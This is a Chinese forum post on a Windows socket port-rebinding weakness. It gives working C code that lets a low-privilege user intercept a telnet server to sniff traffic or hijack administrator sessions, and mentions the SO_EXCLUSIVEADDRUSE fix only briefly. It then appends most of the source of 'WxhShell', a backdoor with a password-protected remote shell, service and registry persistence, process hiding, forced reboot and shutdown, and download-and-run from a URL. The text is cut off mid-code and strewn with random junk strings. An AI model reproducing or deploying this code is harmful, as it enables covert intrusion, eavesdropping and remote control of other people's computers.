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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: U[8F{LX  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); {~s\a2YH  
[/VpvQ'  
  saddr.sin_family = AF_INET; X-,oL.:c  
<hTHY E=  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); #M+_Lk3  
^3H:I8gRCl  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); |JHNFs  
,Oy$q~.  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 EBz4k)@m  
Z2H bAI8  
  这意味着什么?意味着可以进行如下的攻击: U,61 3G  
nKnrh]hX  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 eMmNQRmH  
#d/T7c#  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ~UNha/nt  
bqp^\yu-E  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 $8AW  
$|3zsi2  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  84WcaH  
6-)WXJ@V  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 T JZ~Rpq  
]*lZFP~  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 [6_.Y*}N  
 .P")S|  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 mU?~s7  
uozq^sy  
  #include 7DoU7I\u  
  #include pPo(nH|<  
  #include ?_A[E]/H  
  #include    d!Gy#<H  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ]7yxXg  
  int main() 3(,m(+J[S  
  { y,ub*-:  
  WORD wVersionRequested; k`|E&+og  
  DWORD ret; N}ND()bf  
  WSADATA wsaData; S4{vS?>j  
  BOOL val; !J X7y%J  
  SOCKADDR_IN saddr; M"/Jn[  
  SOCKADDR_IN scaddr; Z~8%bfpe  
  int err; &NoA, `|7  
  SOCKET s; WWZ<[[ >  
  SOCKET sc;  (FaYagD  
  int caddsize; =s]2?m  
  HANDLE mt; q1x[hv3 pP  
  DWORD tid;   ~9yK MUf  
  wVersionRequested = MAKEWORD( 2, 2 ); g}gGm[1SUo  
  err = WSAStartup( wVersionRequested, &wsaData ); m{X{h4t  
  if ( err != 0 ) { Dc$q0|N=z  
  printf("error!WSAStartup failed!\n"); Pc< "qy  
  return -1; :9%e:-  
  } c ^.^5@  
  saddr.sin_family = AF_INET; z>,M@@  
   I9>vm]  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 &0%Z b~ts  
F --b,,  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); j%-Ems*H  
  saddr.sin_port = htons(23); ~ho,bwJM[T  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) F8{gJaP x  
  { {Bk` Zlki  
  printf("error!socket failed!\n"); 3\ Mt+!1{  
  return -1; <HN+pi  
  } yI#qkl-  
  val = TRUE; p I8z.JD  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Tj_K5uccU}  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) UXdc'i g  
  { Qj_)^3`e  
  printf("error!setsockopt failed!\n"); V;"2=)X  
  return -1; KW[y+c u.#  
  } q0Q[]|L  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; "RK"Pn+  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Mog [,{w  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 C,W_0= !e  
A:GqR;;"x>  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) HJ]e%og  
  { Y9<[n)>+  
  ret=GetLastError(); +ZW>JjP*  
  printf("error!bind failed!\n"); iQ8{N:58DN  
  return -1; -Pt E+R[A  
  } RH _b  
  listen(s,2); eF.nNu  
  while(1) 9"+MZ$  
  { :f39)g5>  
  caddsize = sizeof(scaddr); 6'/ Zq  
  //接受连接请求 p}1gac_c  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);  ] ?D$n  
  if(sc!=INVALID_SOCKET) SM RKEPwp&  
  { )D6 i {I0  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); V*Fy@  
  if(mt==NULL) 5YNAb/! !F  
  { "N=$ =Dy >  
  printf("Thread Creat Failed!\n"); ]wEI *c(  
  break; C=q&S6/+  
  } h'=)dFw7  
  } { >izfG,\  
  CloseHandle(mt); $p0D9mF  
  } Dbj?l;'1  
  closesocket(s); | |pOiR5  
  WSACleanup(); /4 pYhJ8S  
  return 0; lqL5V"2Y  
  }    ArAe=m!u  
  DWORD WINAPI ClientThread(LPVOID lpParam) JvW7h(u7g  
  { ~( XaXu  
  SOCKET ss = (SOCKET)lpParam;  ov,  
  SOCKET sc; V'W*'wo   
  unsigned char buf[4096]; ro<w8V9.a  
  SOCKADDR_IN saddr; p.g>+7  
  long num; IO"P /Q  
  DWORD val; ciml:"nQ  
  DWORD ret; wdBB x\FP  
  //如果是隐藏端口应用的话,可以在此处加一些判断 2ns,q0I A  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   BV>9U5  
  saddr.sin_family = AF_INET; /]Y#*r8jRi  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); v@[3R7|4  
  saddr.sin_port = htons(23); \9V_[xD+  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) m]MR\E5]By  
  { 5Wa)_@qI)`  
  printf("error!socket failed!\n");  XA;PWl5!  
  return -1; R--s u:  
  } 2 SD Z  
  val = 100; &R4?]I  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Tb?XKO,  
  { _$@fCo0  
  ret = GetLastError(); ineSo8| @  
  return -1; 27c0wzq  
  } NdLe|L?c  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) R"O%##Ws  
  { ]f &]E ~i  
  ret = GetLastError(); K3 BWj33  
  return -1; ~< UYJc  
  } tg#jjXV\0p  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) dazML|1ow  
  { 6*S/frE  
  printf("error!socket connect failed!\n"); *#}=>, v  
  closesocket(sc); \ { QH^  
  closesocket(ss); f~P YK  
  return -1; Khi6z&B  
  } P}gtJ;  
  while(1) ZZ^A&%E(a  
  { `^8mGR>OpI  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 a1I-d=]  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ~Uv#)  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Y1sK sdV  
  num = recv(ss,buf,4096,0); leNX5 sX  
  if(num>0) 0Q7<;'m  
  send(sc,buf,num,0); }[PwA[k'  
  else if(num==0) [3-u7Fx!  
  break; .Er+*j;&w  
  num = recv(sc,buf,4096,0); 1/:vFX  
  if(num>0) DKMkCPX%  
  send(ss,buf,num,0); P8dMfD*"E  
  else if(num==0) s,[ I_IiPf  
  break; -nC&t~sD  
  } LA\3 ,Uv  
  closesocket(ss); ]O:8o<0  
  closesocket(sc); DIQ30(MS  
  return 0 ; DU"Gz!X]Jd  
  } k&t.(r\  
x2)WiO/As  
Hn)? xw]x  
========================================================== ^J7q,tvbJ  
['\R4H!x  
下边附上一个代码,,WXhSHELL 6q>iPK Jt  
$04lL/;  
========================================================== }\8-&VoY#X  
6o6yx:  
#include "stdafx.h" |/l] ]+  
By7lSbj  
#include <stdio.h> p.(+L^-=  
#include <string.h> 0H +nVR  
#include <windows.h> Rh"O$K~  
#include <winsock2.h> _$IWr)8f  
#include <winsvc.h> !F}GSDDV*  
#include <urlmon.h> ?F[_5ls|]  
JLWm9c+UTG  
#pragma comment (lib, "Ws2_32.lib") 6%6dzZ  
#pragma comment (lib, "urlmon.lib") X!z-J>  
~1*37w~  
#define MAX_USER   100 // 最大客户端连接数 |*zgX]-+;  
#define BUF_SOCK   200 // sock buffer RF2I_4  
#define KEY_BUFF   255 // 输入 buffer )^qXjF  
H*<E5^#dw  
#define REBOOT     0   // 重启 lbovwj  
#define SHUTDOWN   1   // 关机 r>bgCQ#-n  
O!dS;p-F  
#define DEF_PORT   5000 // 监听端口  }+/Vk  
xh#_K@8  
#define REG_LEN     16   // 注册表键长度 LHZsmUM(dg  
#define SVC_LEN     80   // NT服务名长度 sxF2ku4A  
9 $X" D  
// 从dll定义API 0$Mxu7 /  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Sb2_&5  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); T^7}Qs9  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 'Bt!X^  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Gy["_;+xU  
AdDR<IW  
// wxhshell配置信息  Lhg  
struct WSCFG { CfrO1iF  
  int ws_port;         // 监听端口 & }j;SK5  
  char ws_passstr[REG_LEN]; // 口令 *< fJgc"3  
  int ws_autoins;       // 安装标记, 1=yes 0=no p(GI02|n  
  char ws_regname[REG_LEN]; // 注册表键名 'M?ptu?f  
  char ws_svcname[REG_LEN]; // 服务名 'NjeF&#6  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 &DYC3*)Jih  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 '*`n"cC:  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 .,S`VNU  
int ws_downexe;       // 下载执行标记, 1=yes 0=no j&S.k  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" NF |[j=?  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 9&^5!R8  
yCkc3s|DA;  
}; -9+$z|K  
a $'U?%  
// default Wxhshell configuration p8.JJt^  
struct WSCFG wscfg={DEF_PORT, a|t{1]^w`  
    "xuhuanlingzhe", N|)e {|k  
    1, N&k\X]U  
    "Wxhshell", n'pJl  
    "Wxhshell", ON!Fk:-  
            "WxhShell Service", @ kv~2m  
    "Wrsky Windows CmdShell Service", 0;`FS /[(f  
    "Please Input Your Password: ", %UooZO  
  1, h'G  
  "http://www.wrsky.com/wxhshell.exe", #H~$^L   
  "Wxhshell.exe" QRl+7V  
    }; d?YSVmG  
K9ih(fh)  
// 消息定义模块 dQp>z%L)  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; vzSjfv  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Bmt8yR2  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; bY,dWNS:  
char *msg_ws_ext="\n\rExit."; UHfE.mTjM  
char *msg_ws_end="\n\rQuit."; G;/> N'#  
char *msg_ws_boot="\n\rReboot..."; +[ir7?Y.  
char *msg_ws_poff="\n\rShutdown..."; l>i:M#z&  
char *msg_ws_down="\n\rSave to "; oLlfqV,|L\  
]1GyEr:  
char *msg_ws_err="\n\rErr!"; 9$[MM*r  
char *msg_ws_ok="\n\rOK!"; xo ^|d3  
{s6#h#U  
char ExeFile[MAX_PATH]; rWO#h{  
int nUser = 0; gV:0&g\v  
HANDLE handles[MAX_USER]; x=W s)&H_Y  
int OsIsNt; {4[dHfIy  
^ -~=U^2tC  
SERVICE_STATUS       serviceStatus; 2|RxowXZ"  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ^l ;Bo3^_  
!_c6 `oW  
// 函数声明 @sd{V  
int Install(void); Ei<+{P(t0  
int Uninstall(void); _m a;b<I/<  
int DownloadFile(char *sURL, SOCKET wsh); gLo&~|=L-  
int Boot(int flag); >U4bK^/Bp  
void HideProc(void); P$ b5o  
int GetOsVer(void); fyx Q{J  
int Wxhshell(SOCKET wsl); W S9:*YH  
void TalkWithClient(void *cs); i8EKzW  
int CmdShell(SOCKET sock); w}07u5  
int StartFromService(void); Ut1s~b1  
int StartWxhshell(LPSTR lpCmdLine); MD4m h2  
yVPFH~1@\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); WoSKN7*  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); hD,^mru  
hOIg 7=v  
// 数据结构和表定义 Rdd9JJsVd  
SERVICE_TABLE_ENTRY DispatchTable[] = \b)P4aL  
{ q9^.f9-  
{wscfg.ws_svcname, NTServiceMain}, l:#'i`;   
{NULL, NULL} v )2yR~J  
}; 0}k vuuR  
3_eg'EP.E  
// 自我安装 f e^s`dsG  
int Install(void) K6~')9 Q  
{ EjEXev<]  
  char svExeFile[MAX_PATH]; ^ 6t"A  
  HKEY key; %md9ou`  
  strcpy(svExeFile,ExeFile); "4*QA0As  
 NY[48H  
// 如果是win9x系统,修改注册表设为自启动 D[YdPg@-  
if(!OsIsNt) { 9(KffnE^  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { iN@|08  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <P Vmr2Jp"  
  RegCloseKey(key); q}g0-Da  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { VF7H0XR/k5  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >M m.MNU  
  RegCloseKey(key); 3] U/^f3  
  return 0; aH500  
    } TUp%Cx  
  } ]@}@G[e#[  
} 7d_"4;K)  
else { sJg3WN  
T Q {8 ee{  
// 如果是NT以上系统,安装为系统服务 ,~K4+ t_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); HE2t0sAYX  
if (schSCManager!=0) /cZcfCW  
{ *9r 32]i;  
  SC_HANDLE schService = CreateService G%%F6)W  
  ( G6"4JTWO  
  schSCManager, U!nNT==  
  wscfg.ws_svcname, Mw;^`ZxT  
  wscfg.ws_svcdisp, itO1ROmu  
  SERVICE_ALL_ACCESS, sQT,@+JEr  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , P[ Vf$ q<  
  SERVICE_AUTO_START, 7 :u+-U  
  SERVICE_ERROR_NORMAL, yN}<l%  
  svExeFile, $T2zs$  
  NULL, I =K<%.  
  NULL, MY&?*pV)  
  NULL, z7*mT}Q  
  NULL, \]L h a  
  NULL f5nAD  
  ); &v r0{]V^  
  if (schService!=0) t 9.iWIr  
  { I]d?F:cdX  
  CloseServiceHandle(schService); &#]||T-  
  CloseServiceHandle(schSCManager); 57U;\L;ZmZ  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); C[JPohm  
  strcat(svExeFile,wscfg.ws_svcname); QVN @B[9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { {JcMJZ3  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); \FyHIs  
  RegCloseKey(key); 3\P/4GK)  
  return 0; ~^eC?F(  
    } ".fnx8v,  
  } C2 !F   
  CloseServiceHandle(schSCManager); vmtmiN8;d  
} bgmOX&`G  
} |Gb~[6u   
16N`xw+{  
return 1; q +c~Bd  
} _3_o/I  
4wwRNu*  
// 自我卸载 PF;`mdi-,  
int Uninstall(void) !=+hU/e  
{ YW-Ge  
  HKEY key; bEzy KrN\  
,<CzS,(  
if(!OsIsNt) { lN::veD  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *>Zq79TG  
  RegDeleteValue(key,wscfg.ws_regname); XZPq4(,9}  
  RegCloseKey(key); <ZeZq  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { d!q)FRzi  
  RegDeleteValue(key,wscfg.ws_regname); wQ9fPOm  
  RegCloseKey(key); mY]R~:  
  return 0; _57 68G`P  
  } `"E<%$|ZQy  
} 3ry0.  
} p \,PY  
else { Y3f2RdGl  
=)XC"kU p  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); fTA%HsvU:  
if (schSCManager!=0) 32):&X"AIh  
{  qr7_3  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); q%}54E80  
  if (schService!=0) +p)kemJ~  
  { Z <tJ+  
  if(DeleteService(schService)!=0) { V 8J!8=2  
  CloseServiceHandle(schService); ,O"zz7  
  CloseServiceHandle(schSCManager); ;z^C\=om  
  return 0; Ha/-v?E  
  } ?bK^IHh  
  CloseServiceHandle(schService); W6uz G  
  } ;(9q, )  
  CloseServiceHandle(schSCManager); kA<58 ,!  
} Y- c_ 2 )  
} C+c;UzbD  
t[^68]  
return 1; @{UtS2L  
} 9.$k^|~  
XhJbBVS|  
// 从指定url下载文件 /*{s1Zcb  
int DownloadFile(char *sURL, SOCKET wsh)  |<1  
{ :+\B|*T2.L  
  HRESULT hr; VSa#X |z  
char seps[]= "/"; b\9}zmG[u  
char *token; q%GlS=o "  
char *file; o%=OBTh_   
char myURL[MAX_PATH]; TW?A/GoXI  
char myFILE[MAX_PATH]; Ny)!uqul*  
FQCz_ z  
strcpy(myURL,sURL); `+Ojh>"*z*  
  token=strtok(myURL,seps); AE 2>smp5@  
  while(token!=NULL) a-7T   
  { _kT$/k  
    file=token; E h>qUa  
  token=strtok(NULL,seps); Qf}b3WEAI  
  } r%~/y  
^< O=<tN\  
GetCurrentDirectory(MAX_PATH,myFILE); pElAY3  
strcat(myFILE, "\\"); o72G oUfs  
strcat(myFILE, file); jO#5ZhG  
  send(wsh,myFILE,strlen(myFILE),0); 8yV?l7  
send(wsh,"...",3,0); c)OQ_3xOs  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); PF?tEw_WB  
  if(hr==S_OK) 7 xm>+(  
return 0; c:MP^PWc  
else Fv"jKZPgzz  
return 1; H$i4OQ2  
U6@ j=|q  
} #^fDKM  
`-L{J0xq  
// 系统电源模块 VCZ.{MD  
int Boot(int flag) 0W I3m2i  
{ RZV6\ j  
  HANDLE hToken; {\+!@?  
  TOKEN_PRIVILEGES tkp; R3SAt-IE  
kG>d^K  
  if(OsIsNt) { ^ LT KX`p  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); \-B8`ah  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); HqpwQ  
    tkp.PrivilegeCount = 1; BHh%3Q  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; jNa'l<dn]  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); qZ6Mk9@M  
if(flag==REBOOT) { LD~/*  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Eh&et0&=g  
  return 0; jKI0d+U  
} B2PjS1z2  
else { HG/`5$L +}  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ({}JvSn1  
  return 0; eS/4gM7%  
} fH/J8<  
  } >Hq)1o  
  else { \.tnzP D  
if(flag==REBOOT) { ^%V^\DK  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))  X)^kJ`  
  return 0; - kVt_  
} l |c#  
else { `}YCUm[SI  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 3~7X2}qU  
  return 0; O%.c%)4Xo  
} pLvvv#Y  
} `|\z#Et  
;LM,<QJ  
return 1; 7LM?<lp]  
} `$*cW1  
h`0'27\C  
// win9x进程隐藏模块 ySLa4DQf  
void HideProc(void) :eIu<_,}  
{ %\5d?;   
{uQp$`  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); i,DnXgmz@  
  if ( hKernel != NULL ) '<.@a"DnJ  
  { D.hj9  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); al9L+ruR  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); B1GBQH$Ms  
    FreeLibrary(hKernel);  *TEgV  
  } n-P)X<\  
#G;0yB:76  
return; J1Ay^*qRU  
} ?n 9<PMo  
yaiw|j`A  
// 获取操作系统版本 Q,# )  
int GetOsVer(void) zCZ]`  
{ Dl2`b">u  
  OSVERSIONINFO winfo; Bn 5]{Df  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); =N5~iMorD-  
  GetVersionEx(&winfo); lj{Jw.t  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Ps@a@d"83  
  return 1; [/ B$cH  
  else mlsM;A d2  
  return 0; &> Myf@  
} tCFXb6Cz  
dy^Zlu` f  
// 客户端句柄模块 p<w2e  
int Wxhshell(SOCKET wsl) =}6yMR!4R<  
{ 6tC0F=  
  SOCKET wsh; y6 bl&_  
  struct sockaddr_in client; /T53"+7:0  
  DWORD myID; {=5Wi|  
e_Ue9c.}  
  while(nUser<MAX_USER) gZI88Q  
{ 8{@0p"re@  
  int nSize=sizeof(client); b '1n1L  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); sOegR5?;  
  if(wsh==INVALID_SOCKET) return 1; h JVy-]  
fO+$`r>9  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 1Y2]jz4  
if(handles[nUser]==0) i/j DwA  
  closesocket(wsh); s}NE[Tw  
else {s8v0~  
  nUser++; uAd4 Zz  
  } z@Klj qN  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); &Ff#E?Y4|  
1$&(ei]*:  
  return 0; yHY \4OHS  
} .DzFt c  
v##k,R.d  
// 关闭 socket $IZ02ZM$  
void CloseIt(SOCKET wsh) PyOj{WX>W  
{ n&? --9r  
closesocket(wsh); D<-MbK^S  
nUser--; j06q3N"  
ExitThread(0); R!mFMw"  
} Y7TW_[_u  
3 ZZ"mlk*  
// 客户端请求句柄 'jr\F2  
void TalkWithClient(void *cs) 'G6g yO/K  
{ I\%a<  
S?ypka"L  
  SOCKET wsh=(SOCKET)cs; '&XL|_Iq  
  char pwd[SVC_LEN]; w}wABO  
  char cmd[KEY_BUFF]; 0+\%os V  
char chr[1]; %r1NRg8  
int i,j; ak :Y<}  
`Bw>0%.  
  while (nUser < MAX_USER) { .c+NsI9}  
l :e&w(1H  
if(wscfg.ws_passstr) { 4'Svio  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &:K!$W  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2U;6sn*e  
  //ZeroMemory(pwd,KEY_BUFF); <OQn |zU\  
      i=0; _"b[U T}m  
  while(i<SVC_LEN) { KaEL*  
k/ 6Qwb#  
  // 设置超时 Bu[sSoA  
  fd_set FdRead; fl8~*\;Xu  
  struct timeval TimeOut; M0+xl+c+  
  FD_ZERO(&FdRead); 4f)B@A-  
  FD_SET(wsh,&FdRead); P!c.!8C$  
  TimeOut.tv_sec=8; ] LcCom:]  
  TimeOut.tv_usec=0; 4=BIYC"Lu  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 3PmM+}j3  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); #@rvoi  
Q L0  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _6y#?8RMB  
  pwd=chr[0]; =tP%K*Il4  
  if(chr[0]==0xd || chr[0]==0xa) { (KHO'QNMt^  
  pwd=0; [;?CO<  
  break; Ol%KXq[  
  } TBAF_$  
  i++; | z 1  
    }  I&m C  
zv~dW4'  
  // 如果是非法用户,关闭 socket <_o).hE{  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 0j}!4D+  
} q9)]R  
e}xx4mYo  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); .paKV"LJ  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); V8Lp%*(3  
7?U)V03  
while(1) { pTQ70V3  
r |H 1Yy  
  ZeroMemory(cmd,KEY_BUFF);  ;rH<  
DG%vEM,y  
      // 自动支持客户端 telnet标准   v(|Arm?  
  j=0; `>i8$q%  
  while(j<KEY_BUFF) { @N tiT,3k  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Gx&o3^t  
  cmd[j]=chr[0]; Q%_QT0H9Kz  
  if(chr[0]==0xa || chr[0]==0xd) { dH5 Go9`~R  
  cmd[j]=0; 4l2/eh]Hc(  
  break; ;hz;|\ko5  
  } mz[Q]e~&i  
  j++; {5GXN!f  
    } ~AvB5  
4qsP/`8  
  // 下载文件 C2X$bX"  
  if(strstr(cmd,"http://")) { bfE4.YF  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); {*BZ;Xh\8  
  if(DownloadFile(cmd,wsh)) 3xhGmD\SKO  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); nM<B{AR5^  
  else IBT 1If3  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); R [qfG! "  
  } Lrrc&;  
  else { Y8%bk2  
rpB0?h!$  
    switch(cmd[0]) { X[e:fW[e)  
  y7X2|$9z-  
  // 帮助 bjO?k54I  
  case '?': { xWiR7~E  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); fk6`DUBV  
    break; ZC99/NWN  
  } v,[E*qMN  
  // 安装 sB~|V <  
  case 'i': { H;1_"  
    if(Install()) Ha)Vf+W  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v@&UTU  
    else |ee A>z"I  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J,W<vrKOcN  
    break;  l_2B  
    } nT:F{2 M;  
  // 卸载 0x Er`]]U  
  case 'r': { iaV%*  
    if(Uninstall()) ~Y_5q)t(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [C0"vOTUb  
    else  X_\$hF  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); # n_gry!5  
    break; |7$Q'3V  
    } B - 1Kfc  
  // 显示 wxhshell 所在路径 D;Bij=  
  case 'p': { Qo5yfdR  
    char svExeFile[MAX_PATH]; +I <^w)  
    strcpy(svExeFile,"\n\r"); "Dt: 8Nf^  
      strcat(svExeFile,ExeFile); Q"Pl)Q\  
        send(wsh,svExeFile,strlen(svExeFile),0); )w_hbU_Pb&  
    break; A!:R1tTR;S  
    } y),yks?iv  
  // 重启 zMg(\8  
  case 'b': { K_Q-9j  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); "n, %Hh  
    if(Boot(REBOOT)) !>8/Xz~-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F*Y]^9]  
    else { -T8'|"g  
    closesocket(wsh); 0^25uAD=  
    ExitThread(0); *-vH64e  
    } Fy#7 <Hp  
    break; %W8*vSbx  
    } 4;|@eN  
  // 关机 @UK%l :L  
  case 'd': { N?{.}-Q  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 8o  SL3  
    if(Boot(SHUTDOWN)) c!ul9Cw  
